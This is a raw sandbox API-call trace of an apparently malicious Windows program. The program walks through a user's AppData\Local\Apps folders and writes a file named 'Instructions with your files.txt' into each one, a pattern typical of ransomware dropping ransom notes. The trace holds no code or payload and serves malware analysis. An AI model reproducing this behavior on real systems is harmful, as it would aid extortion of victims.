[0128.301] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data") returned 147
[0128.301] GetProcessHeap () returned 0x810000
[0128.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0128.302] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*") returned 149
[0128.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0128.303] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\.") returned 149
[0128.304] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.304] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\..") returned 150
[0128.304] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0128.304] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\Instructions with your files.txt") returned 180
[0128.304] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\data\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0128.304] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0128.305] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0128.305] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0128.305] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0128.305] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0128.305] CloseHandle (hObject=0x12c) returned 1
[0128.305] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0128.306] GetProcessHeap () returned 0x810000
[0128.306] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0128.306] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0
[0128.306] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Instructions with your files.txt") returned 175
[0128.306] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0128.306] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0128.307] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0128.307] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0128.307] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0128.307] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0128.307] CloseHandle (hObject=0x128) returned 1
[0128.307] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0128.308] GetProcessHeap () returned 0x810000
[0128.308] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8efc48 | out: hHeap=0x810000) returned 1
[0128.309] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 0
[0128.309] wnsprintfW (in: pszDest=0x8dec38, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\Instructions with your files.txt") returned 120
[0128.309] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0128.309] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0128.310] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0128.310] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0128.310] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0128.310] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0128.310] CloseHandle (hObject=0x124) returned 1
[0128.310] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0128.311] GetProcessHeap () returned 0x810000
[0128.311] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dec38 | out: hHeap=0x810000) returned 1
[0128.311] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 0
[0128.311] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\Instructions with your files.txt") returned 107
[0128.311] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\cjw3o3kp.bx7\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0128.311] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0128.312] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0128.312] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0128.312] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0128.312] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0128.313] CloseHandle (hObject=0x120) returned 1
[0128.313] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0128.314] GetProcessHeap () returned 0x810000
[0128.314] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x856bd0 | out: hHeap=0x810000) returned 1
[0128.314] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 0
[0128.314] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\Instructions with your files.txt") returned 94
[0128.314] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\data\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0128.314] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0128.315] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0128.315] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0128.315] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0128.315] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0128.315] CloseHandle (hObject=0x11c) returned 1
[0128.316] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0128.316] GetProcessHeap () returned 0x810000
[0128.316] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x845bc0 | out: hHeap=0x810000) returned 1
[0128.316] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 1
[0128.316] wnsprintfW (in: pszDest=0x8cdc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX") returned 69
[0128.316] GetProcessHeap () returned 0x810000
[0128.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0128.316] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*") returned 71
[0128.316] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0128.317] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\.") returned 71
[0128.317] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.317] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\..") returned 72
[0128.317] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 1
[0128.317] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT") returned 82
[0128.317] GetProcessHeap () returned 0x810000
[0128.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dec38
[0128.318] wnsprintfW (in: pszDest=0x8dec38, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*") returned 84
[0128.318] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0128.381] wnsprintfW (in: pszDest=0x8dec38, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\.") returned 84
[0128.385] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.399] wnsprintfW (in: pszDest=0x8dec38, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\..") returned 85
[0128.409] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", cAlternateFileName="CLICEX~1.000")) returned 1
[0128.410] wnsprintfW (in: pszDest=0x8dec38, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715") returned 142
[0128.424] GetProcessHeap () returned 0x810000
[0128.429] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8efc48
[0128.488] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*") returned 144
[0128.496] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0128.553] wnsprintfW (in: pszDest=0x8efc48, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\.") returned 144
